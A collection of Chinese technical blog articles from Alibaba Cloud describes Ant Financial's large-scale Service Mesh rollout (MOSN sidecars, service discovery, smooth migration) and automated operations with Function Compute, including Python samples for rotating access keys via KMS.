          4. Mixer V2 方案则给了社区希望:将 Mixer 合并进 Sidecar,引入 web assembly 进行 Adapter 扩展,这是我们期待的 Mixer 落地的正确姿势,是 Mixer 的未来,是 Mixer 的『诗和远方』。然而社区望穿秋水,但Mixer V2 迟迟未能启动,长期处于 In Review 状态,远水解不了近渴;
        2. Pilot

          1. Pilot 是一个被 Mixer 掩盖的重灾区:长期以来大家的性能关注点都在 Mixer,表现糟糕而且问题明显的Mixer 一直在吸引火力。但是当选择放弃 Mixer(典型如官方在 Istio 新版本中提供的关闭 Mixer 的配置开关)之后,Pilot 的性能问题也就很快浮出水面;
          2. 我们实践下来发现 Pilot 目前主要有两大问题:1)无法支撑海量数据 2)每次变化都会触发全量推送,性能较差;

        mixer.png
        图片来源

        3.4 当下『路口』我们该怎么走?

        我们都非常笃信云原生就是未来,是我们的『诗和远方』,但是眼下的现实情况是一方面 Brownfield 应用当道,另一方面云原生的 Service Mesh 方案自身离生产级还有一定的距离,所以在当下这个『路口』我们该怎么走?

        crossroad.png
        图片来源

        我们给出的答案是:

        wu-shi.png

        其实如前面所述,我们采用 Service Mesh 方案的初心是因为它的架构改变可以带来很多好处,如:服务治理与业务逻辑解耦、异构语言统一治理、金融级网络安全等,而且我们相信这些好处不管对 Greenfield 应用还是 Brownfield 应用都是非常需要的,甚至在现阶段对 Brownfield 应用产生的业务价值会远远大于 Greenfield 应用。

        所以从『务实』的角度来看,我们首先还是要探索出一套现阶段切实可行的方案,不仅要支持 Greenfield 应用,更要能支持 Brownfield 应用,从而可以真正把 Service Mesh 落到实处,产生业务价值。

        四、蚂蚁金服的产品实践

        4.1 发展历程和落地规模

        图片1.png

        Service Mesh 在蚂蚁金服的发展历程,先后经历过如下几个阶段:

        • 技术预研 阶段:2017年底开始调研并探索 Service Mesh 技术,并确定为未来发展方向。
        • 技术探索 阶段:2018年初开始用 Golang 开发 Sidecar MOSN ,年中开源基于 Istio 的 SOFAMesh 。
        • 小规模落地 阶段:2018年开始内部落地,第一批场景是替代 Java 语言之外的其他语言的客户端 SDK,之后开始内部小范围试点。
        • 规模落地 阶段:2019年上半年,作为蚂蚁金服金融级云原生架构升级的主要内容之一,逐渐铺开到蚂蚁金服内部的业务应用,并平稳支撑了618大促。
        • 对外输出 阶段:2019年9月,SOFAStack 双模微服务平台入驻阿里云开始公测,支持 SOFA, Dubbo 和 Spring Cloud 应用
        • 全面大规模落地 阶段:2019年下半年,在蚂蚁金服内部的大促核心应用中全面铺开,落地规模非常庞大,而且最终如『丝般顺滑』地支撑了双十一大促。

        在今年双十一,Service Mesh 覆盖了数百个交易核心链路应用,MOSN 注入的容器数量达到了数十万,双十一当天处理的 QPS 达到了几千万,平均处理响应时间<0.2 ms,MOSN 本身在大促中间完成了数十次的业务无感升级,达到了我们的预期,初步完成了基础设施和业务的第一步的分离,见证了 Mesh 化之后基础设施的迭代速度。

        4.2 SOFAStack 双模微服务平台

        我们的服务网格产品名是 SOFAStack 双模微服务平台,这里的『双模微服务』是指传统微服务和 Service Mesh 双剑合璧,即『基于 SDK 的传统微服务』可以和『基于 Sidecar 的 Service Mesh 微服务』实现下列目标:

         •  互联互通:两个体系中的应用可以相互访问
         •  平滑迁移:应用可以在两个体系中迁移,对于调用该应用的其他应用,做到透明无感知
         •  异构演进:在互联互通和平滑迁移实现之后,我们就可以根据实际情况进行灵活的应用改造和架构演进

        在控制面上,我们引入了 Pilot 实现配置的下发(如服务路由规则),在服务发现上保留了独立的 SOFA 服务注册中心。

        在数据面上,我们使用了自研的 MOSN,不仅支持 SOFA 应用,同时也支持 Dubbo 和 Spring Cloud 应用。
        在部署模式上,我们不仅支持容器/K8s,同时也支持虚拟机场景。

        图片2.png

        4.3 大规模场景下的服务发现

        要在蚂蚁金服落地,首先一个需要考虑的就是如何支撑双十一这样的大规模场景。前面已经提到,目前 Pilot 本身在集群容量上比较有限,无法支撑海量数据,同时每次变化都会触发全量推送,无法应对大规模场景下的服务发现。

        所以,我们的方案是保留独立的 SOFA 服务注册中心来支持千万级的服务实例信息和秒级推送,业务应用通过直连 Sidecar 来实现服务注册和发现。

        service-discovery.png

        4.4 流量劫持

        Service Mesh 中另一个重要的话题就是如何实现流量劫持:使得业务应用的 Inbound 和 Outbound 服务请求都能够经过 Sidecar 处理。

        区别于社区的 iptables 等流量劫持方案,我们的方案就显得比较简单直白了,以下图为例:

        1. 假设服务端运行在1.2.3.4这台机器上,监听20880端口,首先服务端会向自己的 Sidecar 发起服务注册请求,告知 Sidecar 需要注册的服务以及 IP + 端口(1.2.3.4:20880);
        2. 服务端的 Sidecar 会向 SOFA 服务注册中心发起服务注册请求,告知需要注册的服务以及 IP + 端口,不过这里需要注意的是注册上去的并不是业务应用的端口(20880),而是Sidecar自己监听的一个端口(例如:20881);
        3. 调用端向自己的 Sidecar 发起服务订阅请求,告知需要订阅的服务信息;
        4. 调用端的Sidecar向调用端推送服务地址,这里需要注意的是推送的IP是本机,端口是调用端的 Sidecar 监听的端口(例如:20882);
        5. 调用端的 Sidecar 会向 SOFA 服务注册中心发起服务订阅请求,告知需要订阅的服务信息;
        6. SOFA 服务注册中心向调用端的 Sidecar 推送服务地址(1.2.3.4:20881);

        sidecar-interception-1.png

        经过上述的服务发现过程,流量劫持就显得非常自然了:

        1. 调用端拿到的『服务端』地址是127.0.0.1:20882,所以就会向这个地址发起服务调用;
        2. 调用端的 Sidecar 接收到请求后,通过解析请求头,可以得知具体要调用的服务信息,然后获取之前从服务注册中心返回的地址后就可以发起真实的调用(1.2.3.4:20881);
        3. 服务端的 Sidecar 接收到请求后,经过一系列处理,最终会把请求发送给服务端(127.0.0.1:20880);

        sidecar-interception-2.png

        可能会有人问,为啥不采用 iptables 的方案呢?主要的原因是一方面 iptables 在规则配置较多时,性能下滑严重,另一个更为重要的方面是它的管控性和可观测性不好,出了问题比较难排查。

        4.5 平滑迁移

        平滑迁移可能是整个方案中最为重要的一个环节了,前面也提到,在目前任何一家公司都存在着大量的 Brownfield 应用,它们有些可能承载着公司最有价值的业务,稍有闪失就会给公司带来损失,有些可能是非常核心的应用,稍有抖动就会造成故障,所以对于 Service Mesh 这样一个大的架构改造,平滑迁移是一个必选项,同时还需要支持可灰度和可回滚。

        得益于独立的服务注册中心,我们的平滑迁移方案也非常简单直白:

        1.初始状态
        **
        以一个服务为例,初始有一个服务提供者,有一个服务调用者。

        migration-initial.png

        2.透明迁移调用方
        **
        在我们的方案中,对于先迁移调用方还是先迁移服务方没有任何要求,这里假设调用方希望先迁移到 Service Mesh 上,那么只要在调用方开启 Sidecar 的注入即可,服务方完全不感知调用方是否迁移了。所以调用方可以采用灰度的方式一台一台开启 Sidecar,如果有问题直接回滚即可。

        migration-consumer.png

        3.透明迁移服务方
        **
        假设服务方希望先迁移到 Service Mesh 上,那么只要在服务方开启 Sidecar 的注入即可,调用方完全不感知服务方是否迁移了。所以服务方可以采用灰度的方式一台一台开启 Sidecar,如果有问题直接回滚即可。

        migration-provider.png
        4.终态
        **
        migration-final.png

        4.6 多协议支持

        考虑到目前大部分用户的使用场景,除了 SOFA 应用,我们同时也支持 Dubbo 和 Spring Cloud 应用接入SOFAStack 双模微服务平台,提供统一的服务治理。多协议支持采用通用的 x-protocol,未来也可以方便地支持更多协议。

        mltiple-protocol.png

        4.7 虚拟机支持

        在云原生架构下,Sidecar 借助于 K8s 的 webhook/operator 机制可以方便地实现注入、升级等运维操作。然而大量系统还没有跑在 K8s 上,所以我们通过 agent 的模式来管理 Sidecar 进程,从而可以使 Service Mesh 能够帮助老架构下的应用完成服务化改造,并支持新架构和老架构下服务的统一管理。

        图片3.png

        4.8 产品易用性

        在产品易用性上我们也做了不少工作,比如可以直接在界面上方便地设置服务路由规则、服务限流等,再也不用手工写 yaml 了:

        service-governance.png

        no-yaml.png

        也可以在界面上方便地查看服务拓扑和实时监控:

        tracing.jpg

        metrics.png

        4.9 阿里云公测中

        最后打一个小小的广告,SOFAStack 双模微服务平台现在在阿里云公测中,欢迎感兴趣的企业前来体验,https://www.aliyun.com/product/sofa

        sofastack-product.png

        五、展望未来

        5.1 拥抱云原生

        目前已经能非常清楚地看到整个行业在经历从云托管(Cloud Hosted)到云就绪(Cloud Ready)直至云原生(Cloud Native)的过程,所以前面也提到我们都非常笃信云原生就是未来,是我们的『诗和远方』,虽然眼下在落地过程中还存在一定的 gap,不过相信随着我们的持续投入,gap 会越来越小。

        另外值得一提的是我们拥抱云原生其根本还在于降低资源成本,提升开发效率,享受生态红利,所以云原生本身不是目的,而是手段,切不可本末倒置了。

        cloud-native-path.png

        5.2 持续加强 Pilot 的能力

        为了更好地拥抱云原生,后续我们也会和 Istio 社区共建,持续加强 Pilot 的能力。

        而就在最近,在综合了过去一年多的思考和探索之后,蚂蚁金服和阿里集团的同事们共同提出了一套完整的解决方案,来融合控制平面和传统注册中心/配置中心,从而可以在保持协议标准化的同时,加强 Pilot 的能力,使其逐步向生产级靠拢。

        (更多细节可以参考小剑老师的蚂蚁金服 Service Mesh 深度实践一文,在此就不再赘述了)

        enhanced-pilot.png

        5.3 支持透明劫持

        前面提到在蚂蚁金服的实践中是基于服务注册中心来实现流量劫持的,该方案不管是在性能、管控能力还是可观测性方面都是不错的选择,不过对应用存在一定的侵入性(需要引入一个轻量的注册中心 SDK)。

        考虑到很多用户对性能要求没那么敏感,同时有大量遗留系统希望通过 Service Mesh 实现统一管控,所以后续我们也会支持透明劫持,同时在管控性和可观测性方面会做增强。

        transparent-interception.png

        六、结语

        基于『务实』的理念,Service Mesh 在蚂蚁金服经过了2年的沉淀,我们探索出了一套现阶段切实可行的方案并最终通过了双十一的考验。在这个过程中,我们也愈发体验到了 Service Mesh 带来的好处,例如 MOSN 在大促中间完成了数十次的业务无感升级,见证了 Mesh 化之后基础设施的迭代速度。

        我们判断,未来 Service Mesh 会成为云原生下微服务的标准解决方案,所以我们也会持续加大对 Service Mesh 的投入,包括接下来蚂蚁金服将和阿里集团一起深度参与到 Istio 社区中去,和社区一起把 Istio 打造成 Service Mesh 的事实标准。

        最后,也欢迎志同道合的伙伴加入我们,一起参与建设激动人心的下一代云原生架构!

        ]]>
        蚂蚁金服 Service Mesh 大规模落地系列 - RPC 篇 Fri, 02 May 2025 09:39:04 +0800 1.jpg

        引言

        Service Mesh 是蚂蚁金服下一代架构的核心,本主题主要分享在蚂蚁金服当前的体量下,我们如何做到在奔跑的火车上换轮子,将现有的 SOA 体系快速演进至 Service Mesh 架构。聚焦 RPC 层面的设计和改造方案,本次将分享蚂蚁金服双十一核心应用是如何将现有的微服务体系平滑过渡到 Service Mesh 架构下并降低大促成本。

        蚂蚁金服每年双十一大促会面临非常大的流量挑战,在已有 LDC 微服务架构下已支撑起弹性扩容能力。本次分享主要分为 5 部分:

        • Service Mesh 简介;
        • 为什么要 Service Mesh;
        • 方案落地;
        • 分时调度案例;
        • 思考与未来;

        作者简介

        5-1.jpg

        黄挺(花名:鲁直):蚂蚁金服云原生负责人
        主要 Focus 领域:

        • SOFAStack 微服务领域;
        • Service Mesh,Serverless 等云原生领域;

        雷志远(花名:碧远):蚂蚁金服 RPC 框架负责人
        主要 Focus 领域:

        • 服务框架:SOFARPC(已开源);
        • Service Mesh:MOSN(已开源);

        SOFARPC:https://github.com/sofastack/sofa-rpc
        MOSN:https://github.com/sofastack/sofa-mosn

        Service Mesh 简介

        在讲具体的蚂蚁金服落地之前,想先和大家对齐一下 Service Mesh 的概念,和蚂蚁金服对应的产品。这张图大家可能不陌生,这是业界普遍认可的 Service Mesh 架构,那么对应到蚂蚁金服,蚂蚁金服的 Service Mesh 也分为控制面和数据面,分别叫做 SOFAMesh 和 MOSN,其中 SOFAMesh 后面会以更加开放的姿态参与到 Istio 里面去。
        image.png

        今天我们讲的实践主要集中在 MOSN 上,以下我的分享中提到的主要就是集中在数据面上的落地,这里面大家可以看到,我们有支持 HTTP/SOFARPC/Dubbo/WebService。

        为什么我们要 Service Mesh

        有了一个初步的了解之后,可能大家都会有这样一个疑问,你们为什么要 Service Mesh,我先给出结论:

        因为我们要解决在 SOA 下面,没有解决但亟待解决的:基础架构和业务研发的耦合,以及未来无限的对业务透明的稳定性与高可用相关诉求。

        那么接下来,我们一起先看看在没有 Service Mesh 之前的状况。

        在没有 Service Mesh 之前,整个 SOFAStack 技术演进的过程中,框架和业务的结合相当紧密,对于一些 RPC 层面的需求,比如流量调度,流量镜像,灰度引流等,是需要在 RPC 层面进行升级开发支持,同时,需要业务方来升级对应的中间件版本,这给我们带来了一些困扰和挑战。如图所示:

        image.png

        1. 线上客户端框架版本不统一;
        2. 业务和框架耦合,升级成本高,很多需求由于在客户端无法推动,需要在服务端做相应的功能,方案不够优雅;
        3. 机器逐年增加,如果不增加机器,如何度过双十一;
        4. 在基础框架准备完成后,对于新功能,不再升级给用户的 API 层是否可行; 
        5. 流量调拨,灰度引流,蓝绿发布,AB Test 等新的诉求;

        这些都困扰着我们。我们知道在 SOA 的架构下,负责每个服务的团队都可以独立地去负责一个或者多个服务,这些服务的升级维护也不需要其他的团队的接入,SOA 其实做到了团队之间可以按照接口的契约来接耦。但是长期以来,基础设施团队需要推动很多事情,都需要业务团队进行紧密的配合,帮忙升级 JAR 包,基础设施团队和业务团队在工作上的耦合非常严重,上面提到的各种问题,包括线上客户端版本的不一致,升级成本高等等,都是这个问题带来的后果。

        而 Service Mesh 提供了一种可能性,能够将基础设施下沉,让基础设施团队和业务团队能够解耦,让基础设施和业务都可以更加快步地往前跑。

        image.png

        我们的方案

        说了这么多,那我们怎么解决呢?我们经历了这样的选型思考。

        image.png

        总体目标架构

        image.png

        我们的 MOSN 支持了 Pilot ,自有服务发现 SOFARegistry,和自有的消息组件,还有一些 DB 的组件。在产品层,提供给开发者,不同的能力,包括运维,监控,安全等能力,这个是目前我们的一个线上的状态。

        SOFARegistry 是蚂蚁金服开源的具有承载海量服务注册和订阅能力的、高可用的服务注册中心,在支付宝/蚂蚁金服的业务发展驱动下,近十年间已经演进至第五代。
        SOFARegistry:https://github.com/sofastack/sofa-registry

        看上去很美好,要走到这个状态,我们要回答业务的三个灵魂拷问。

        image.png

        这三个问题后面,分别对应着业务的几大诉求,大家做过基础框架的应该比较有感触。

        框架升级方案

        准备开始升级之后,我们要分析目前我们的线上情况,而我们现在线上的情况,应用代码和框架有一定程度的解耦,用户面向的是一个API,最终代码会被打包,在SOFABoot 中运行起来。

        SOFABoot 是蚂蚁金服开源的基于 Spring Boot 的研发框架,它在 Spring Boot 的基础上,提供了诸如 Readiness Check,类隔离,日志空间隔离等能力。在增强了 Spring Boot 的同时,SOFABoot 提供了让用户可以在 Spring Boot 中非常方便地使用 SOFA 中间件的能力。
        SOFABoot:https://github.com/sofastack/sofa-boot

        image.png

        那么,我们就可以在风险评估可控的情况下,直接升级底层的 SOFABoot。在这里,我们的 RPC 会检测一些信息,来确定当前 Pod 是否需要开启 MOSN 的能力。然后我们完成如下的步骤。

        image.png

        这里,我们通过检测 PaaS 传递的容器标识,知道自己是否开启了 MOSN,则将发布和订阅给 MOSN,然后调用不再寻址,直接完成调用。

        可以看到,通过批量的运维操作,我们直接修改了线上的 SOFABoot 版本,以此,来直接使得现有的应用具备了 MOSN 的能力。有些同学可能会问,那你一直这么做不行吗?不行,因为这个操作是要配合流量关闭等操作来运行的,也不具备平滑升级的能力,而且直接和业务代码强相关,不适合长期操作。

        这里我们来详细回答一下,为什么不采用社区的流量劫持方案?

        主要的原因是一方面 iptables 在规则配置较多时,性能下滑严重。另一个更为重要的方面是它的管控性和可观测性不好,出了问题比较难排查。而 Service Mesh 从初期就把蚂蚁金服现在线上的系统全量切换 Mesh 作为目标,并不是只是跑跑 Demo,所以我们对性能和运维的要求是非常高的,毕竟,技术架构升级,如果是以业务有损或者资源利用率大幅度上升,这是无论如何都不能接受的。

        容器替换方案

        解决了刚刚提到的第一个难题,也只是解决了可以做,而并不能做得好,更没有做得快,面对线上数十万带着流量的业务容器, 我们如何立刻开始实现这些容器的快速稳定接入?

        这么大的量,按照传统的替换接入显然是很耗接入成本的事情,于是我们选择了原地接入,我们可以来看下两者的区别:

        image.png

        在之前,我们做一些升级操作之类的,都是需要有一定的资源 Buffer,然后批量的进行操作,替换 Buffer 的不断移动,来完成升级的操作。这就要求 PaaS 层留有非常多的 Buffer,但是在双十一的情况下,我们要求不增加机器,并且为了一个接入 MOSN 的操作,反而需要更多的钱来买资源,这岂不是背离了我们的初衷。有人可能会问,不是还是增加了内存和 CPU 吗,这是提高了 CPU 利用率。以前业务的 CPU 利用率很低,并且这个是一个类似超卖的方案,看上去分配了,实际上基本没增加。

        可以看到, 通过 Paas 层,我们的 Operator 操作直接在现有容器中注入,并原地重启,在容器级别完成升级。升级完成后,这个 Pod 就具备了 MOSN 的能力。

        MOSN 升级方案

        在快速接入的问题完成后,我们要面临第二个问题。由于是大规模的容器,所以 MOSN 在开发过程中,势必会存在一些问题,出现问题,如何升级?要知道线上几十万容器要升级一个组件的难度是很大的,因此,在版本初期,我们就考虑到 MOSN 升级的方案。

        image.png

        能想到最简单的方法,就是销毁容器,然后用新的来重建,但是在容器数量很多的时候,这种运维成本是不可接受的。如果销毁容器重建的速度不够快,就可能会影响业务的容量,造成业务故障。因此,我们在 MOSN 层面,和 PaaS 一起,开发了无损流量升级的方案。

        image.png

        在这个方案中,MOSN 会感知自己的状态,新的 MOSN 启动会通过共享卷的 Domain Socket 来检测是否已有老的 MOSN 在运行,如果有,则通知原有 MOSN 进行平滑升级操作。

        image.png

        具体来说,MOSN 启动的时候查看同 Pod 是否有运行的 MOSN (通过共享卷的 domain socket),如果存在,需要进入如下流程:

        • New MOSN 通知 Old MOSN,进入平滑升级流程;
        • Old MOSN 把服务的 Listen Fd 传递给 New MOSN,New MOSN 接收 Fd 之后启动, 此时 Old 和 New MOSN 都正常提供服务;
        • 然后 New MOSN 通知 Old MOSN,关闭 Listen Fd,然后开始迁移存量的长链接;
        • Old MOSN迁移完成, 销毁容器;

        这样,我们就能做到,线上做任意的 MOSN 版本升级,而不影响老的业务,这个过程中的技术细节,不做过多介绍,之后,本公众号会有更详细的分享文章。

        分时调度案例

        技术的变革通常一定不是技术本身的诉求,一定是业务的诉求,是场景的诉求。没有人会为了升级而升级,为了革新而革新,通常,技术受业务驱动,也反过来驱动业务。

        在阿里经济体下,在淘宝直播,实时红包,蚂蚁森林,各种活动的不断扩张中,给技术带了复杂的场景考验。

        这个时候,业务同学往往想的是什么?我的量快撑不住了,我的代码已经最优化了,我要扩容加机器。而更多的机器付出更多的成本,面对这样的情况,我们觉得应用 Service Mesh 是一个很好的解法。通过和 JVM、系统部的配合,利用进阶的分时调度实现灵活的资源调度,不加机器。这个可以在资源调度下有更好的效果。

        image.png

        首先,我们假设有两个大的资源池的资源需求情况,可以看到在 X 点的时候,资源域 A 需要更多的资源,Y 点的时候,资源域 B 需要更多的资源,总量不得增加。那当然,我们就希望能借调机器。就像下面这样。请大家看左图。

        image.png

        在这个方案中, 我们需要先释放资源,然后销毁进程,然后开始重建资源,然后启动资源域 B 的资源。这个过程对于大量的机器是很重的,而且变更就是风险,关键时候做这种变更,很有可能带来衍生影响。

        而在 MOSN 中,我们有了新的解法。如右图所示,有一部分资源一直通过超卖,运行着两种应用,但是 X 点的时候,对于资源域 A,我们通过 MOSN 来将流量全部转走,应用的 CPU 和内存就被限制到非常低的情况,大概保留 1% 的能力。这样操作,机器依然可以预热,进程也不停。

        在这里,我们可以看这张图。

        image.png

        在需要比较大的资源调度时,我们推送一把开关,则资源限制打开,包活状态取消。资源域 B 瞬间可以满血复活。而资源域 A 此时进入上一个状态,CPU 和内存被限制。在这里,MOSN 以一个极低的资源占用完成流量保活的能力,使得资源的快速借调成为可能。

        我们对 Service Mesh 的思考与未来

        image.png

        Service Mesh 在蚂蚁金服经过 2 年的沉淀,最终经过双十一的检验,在双十一,我们覆盖了数百个双十一交易核心链路,MOSN 注入的容器数量达到了数十万,双十一当天处理的 QPS 达到了几千万,平均处理 RT<0.2 ms,MOSN 本身在大促中间完成了数十次的在线升级,基本上达到了我们的预期,初步完成了基础设施和业务的第一步的分离,见证了 Mesh 化之后基础设施的迭代速度。

        不论何种架构,软件工程没有银弹。架构设计与方案落地总是一种平衡与取舍,目前还有一些 Gap 需要我们继续努力,但是我们相信,云原生是远方也是未来,经过我们两年的探索和实践,我们也积累了丰富的经验。

        我们相信,Service Mesh 可能会是云原生下最接近“银弹”的那一颗,未来 Service Mesh 会成为云原生下微服务的标准解决方案,接下来蚂蚁金服将和阿里集团一起深度参与到 Istio 社区中去,一起和社区把 Istio 打造成 Service Mesh 的事实标准。

        今天的分享就到这里,感谢大家。如果有想交流更多的,欢迎参与到社区里来,寻找新技术带来更多业务价值。

        SOFAStack:https://github.com/sofastack

        本次分享 PPT 以及回顾视频地址:https://tech.antfin.com/community/activities/985/review/949

        蚂蚁金服 Service Mesh 大规模落地系列文章

        ]]>
        函数计算进行自动化运维专题 Fri, 02 May 2025 09:39:04 +0800 前言

        通常来说,自动化运维有两种类型的运维方式:

        • 定时的脚本任务, 比如定时更换云服务的 acess key secret , 定时检查 ecs 对外暴露的端口等
        • 报警事件的紧急处理, 比如 ecs 实例发生异常重启

        在传统的运维中,对于定时任务的处理通常用crontab脚本来实现,但是一旦管理的机器多了,必定会对脚本进行集中管理,这个时候对集中管理脚本的机器的可用性、脚本里面会散落密码明文等相关信息以及定时任务执行的记录都是一个很大的挑战;而对于事件驱动的报警处理,要么是通过短信报警告知运维人员,要么需要自建服务来处理报警信息, 无论是哪种方式,财务成本和运维成本都很大。本文探讨一种新的运维方式,利用函数计算做自动化运维,以极低的成本就可以获得一个高可靠,高质量的运维服务。

        函数计算

        阿里云函数计算是一个事件驱动的serverless计算服务。通过函数计算,您无需管理服务器等基础设施,只需编写代码并上传。函数计算会为您准备好计算资源,以弹性、可靠的方式运行您的代码,具体表现为:

        • 无需采购和管理服务器等基础设施
        • 按需付费,比如对运维管控这类低频调用的系统,财务成本通常能节约90%以上
        • 专注业务逻辑的开发,能极大提高开发效率,比如十分钟上线弹性高可用的图片处理服务
        • 稳定高可用,毫秒级别弹性伸缩,快速实现底层扩容以应对峰值压力
        • 提供日志查询、性能监控、报警等功能快速排查故障

        函数计算遇见自动化运维

        函数计算给用户极大的自由来实现自定义的功能,一旦和自定义自动化运维相遇,会擦出不一样的火花。下面就本文就传统的自动化运维和函数计算进行自动运维在两种不同类型维度上做一个对比:
        _

        定时任务示例场景分析

        定时任务示例场景1

        某些云服务账号acess key secret需要定期更换,以确保 acess key secret安全

        定时任务示例场景2

        定期检查自己 ecs 对应暴露的端口,确保安全。比如你的ecs是一个网站服务器,可能只需要对外暴露 80 端口就行,如果出现 0.0.0.0/0 这种允许所有人访问的漏洞,需要出现报警或者自动修复。

        函数计算自动化运维实战1 -- 定时任务

        事件驱动示例场景分析

        事件驱动示例场景1

        假设两台 ECS 机器 A, B, A 机器出现了宕机,这个时候需要把A机器上的 eip 迁移到备用机器 B 上,可利用云监控的报警和函数计算可以实现 eip 的自动迁移, 云监控检测到A宕机这个事件,然后触发函数执行,函数实现 eip 的自动迁移。

        函数计算自动化运维实战2 -- 事件触发 eip 自动转移

        事件驱动示例场景2

        假设之前一台 ecs 发生系统错误而重启,用户可能会紧急起来做一些验证或者创建快照的处理, 在下面的实战中,我们对一台因为系统错误实例重启或者因实例错误而重启的机器进行自动化处理,比如成功重启后创建快照处理。

        函数计算自动化运维实战3 -- 事件触发自动创建快照

        总结

        用函数计算进行自动化运维,对进行自动化运维处理的函数进行可视化的管理、监控,函数的运行具有弹性,高可用,安全性高等有点;同时在驱动函数的事件源上,云监控提供了丰富事件,并且事件还在不断丰富中(云产品系统事件监控),丰富的事件触发自定义处理的函数,高可用的定时器,这些都可以保证我们可以实现更加完美的的自动化运维。
        如果对函数计算进行自动化运维这个运用场景感兴趣, 请点击收藏本页,我们会在这边函数计算进行自动化运维这个专题主页持续更新相关内容和实战案例。

        “阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。”

        ]]>
        函数计算自动化运维实战1 -- 定时任务 Fri, 02 May 2025 09:39:04 +0800 函数计算

        阿里云函数计算是一个事件驱动的全托管计算服务。通过函数计算,您无需管理服务器等基础设施,只需编写代码并上传。函数计算会为您准备好计算资源,以弹性、可靠的方式运行您的代码,并提供日志查询,性能监控,报警等功能。借助于函数计算,您可以快速构建任何类型的应用和服务,无需管理和运维。更棒的是,您只需要为代码实际运行消耗的资源付费,而代码未运行则不产生费用。

        函数计算中的TimeTrigger

        触发器是触发函数执行的方式。有时候您不想手动调用函数执行,您希望当某件事情发生时自动触发函数的执行,这个事情就是事件源。您可以通过配置触发器的方式设置事件源触发函数执行。
        例如,设置定时触发器,可以在某个时间点触发函数执行或者每隔5分钟触发函数一次;函数计算timetrigger

        专题传送门 => 函数计算进行自动化运维专题

        定时任务自动化场景分析

        定时任务示例场景1

        某些账号ak需要定期更换,以确保ak安全;
        在下面的代码示例中,授权service具有访问kms权限的能力,使用kms,先对一个具有创建和删除ak权限的ak加密密文解密,获取具有创建和删除ak权限的AK, 之后利用这个AK进行ak的创建和删除操作

        说明: 除了使用kms加密解密来获取较大权限的AK, 通过函数计算环境变量的设置也是一种很好的方法

        操作步骤

        注:记得给函数的service的role设置访问kms权限

        _1

        • 函数代码(函数计算已经内置了相关sdk,直接使用下面的代码即可)
        # -*- coding: utf-8 -*-
        import logging, time, json
        from aliyunsdkcore import client
        from aliyunsdkram.request.v20150501.CreateAccessKeyRequest import CreateAccessKeyRequest
        from aliyunsdkram.request.v20150501.DeleteAccessKeyRequest import DeleteAccessKeyRequest
        from aliyunsdkkms.request.v20160120.EncryptRequest import EncryptRequest
        from aliyunsdkkms.request.v20160120.DecryptRequest import DecryptRequest
        from aliyunsdkcore.auth.credentials import StsTokenCredential
        # ak Encrypt content
        AK_CiphertextBlob = "NmQyY2ZhODMtMTlhYS00MTNjLTlmZjAtZTQxYTFiYWVmMzZmM1B1NXhTZENCNXVWd1dhdTNMWVRvb3V6dU9QcVVlMXRBQUFBQUFBQUFBQ3gwZTkzeGhDdHVzMWhDUCtZeVVuMWlobzlCa3VxMlErOXFHWWdXXXHELLwL1NSZTFvUURYSW9lak5Hak1lMnF0R2I1TWUxMEJiYmkzVnBwZHlrWGYzc3kyK2tQbGlKb2lHQ3lrZUdieHN2eXZwSVYzN2Qyd1cydz09"
        USER_NAME = "ls-test" # sub-account name
        LOGGER = logging.getLogger()
        def handler(event, context):
          creds = context.credentials
          sts_token_credential = StsTokenCredential(creds.access_key_id, creds.access_key_secret, creds.security_token)
          # this demo ecs and function in same region, if not in same region, you need change region_id to your ecs instance's region_id
          clt = client.AcsClient(region_id=context.region, credential=sts_token_credential)
          request = DecryptRequest()
          request.set_CiphertextBlob(AK_CiphertextBlob)
          response = _send_request(clt, request)
          ak_info = json.loads(response.get("Plaintext","{}"))
          if not ak_info:
            return "KMS Decrypt ERROR"
          ak_id = ak_info["ak_id"]
          ak_secret = ak_info["ak_secret"]
          LOGGER.info("Decrypt sucessfully with key id: {}".format(response.get("KeyId","{}")))
          clt2 = client.AcsClient(ak_id, ak_secret, context.region)
          request = CreateAccessKeyRequest()
          request.set_UserName(USER_NAME) # 给子账号ls-test创建AK
          response = _send_request(clt2, request)
          create_ak_id = response.get("AccessKey",{}).get("AccessKeyId")
          if not create_ak_id:
            return
          LOGGER.info("create ak {} sucess!".format(create_ak_id))
          
          time.sleep(10)
          
          request = DeleteAccessKeyRequest()
          request.set_UserName(USER_NAME)  
          request.set_UserAccessKeyId(create_ak_id)
          response = _send_request(clt2, request)
          LOGGER.info("delete ak {} sucess!".format(create_ak_id))
          
          return "OK"
          
        # send open api request
        def _send_request(clt, request):
            request.set_accept_format('json')
            try:
                response_str = clt.do_action_with_exception(request)
                LOGGER.debug(response_str)
                response_detail = json.loads(response_str)
                return response_detail
            except Exception as e:
                LOGGER.error(e)

        AK 存在环境变量版本

        # -*- coding: utf-8 -*-
        import os, logging, time, json
        from aliyunsdkcore import client
        from aliyunsdkram.request.v20150501.CreateAccessKeyRequest import CreateAccessKeyRequest
        from aliyunsdkram.request.v20150501.DeleteAccessKeyRequest import DeleteAccessKeyRequest
        USER_NAME = "ls-test" # sub-account name
        LOGGER = logging.getLogger()
        def handler(event, context):
          ak_id = os.environ['AK_ID']
          ak_secret = os.environ['AK_SECRET']
          clt = client.AcsClient(ak_id, ak_secret, context.region)
          request = CreateAccessKeyRequest()
          request.set_UserName(USER_NAME) # 给子账号USER_NAME创建AK
          response = _send_request(clt, request)
          create_ak_id = response.get("AccessKey", "").get("AccessKeyId")
          if not create_ak_id:
            return
          LOGGER.info("create ak {} sucess!".format(create_ak_id))
          
          time.sleep(5)
          
          request = DeleteAccessKeyRequest()
          request.set_UserName(USER_NAME)  
          request.set_UserAccessKeyId(create_ak_id)
          response = _send_request(clt, request)
          LOGGER.info("delete ak {} sucess!".format(create_ak_id))
          
          return "OK"
          
        # send open api request
        def _send_request(clt, request):
            request.set_accept_format('json')
            try:
                response_str = clt.do_action_with_exception(request)
                LOGGER.info(response_str)
                response_detail = json.loads(response_str)
                return response_detail
            except Exception as e:
                LOGGER.error(e)

        定时任务示例场景2

        定期检查自己ecs对应暴露的端口,确保安全,比如你的ecs是一个网站服务器,可能只需要对外暴露80端口就行,如果出现0.0.0.0/0这种允许所有人访问的,需要出现报警或者自动修复

        操作步骤

        注:记得给函数的service的role设置管理ecs权限

        # -*- coding: utf-8 -*-
        import logging
        import json, random, string, time
        from aliyunsdkcore import client
        from aliyunsdkecs.request.v20140526.DescribeInstancesRequest import DescribeInstancesRequest
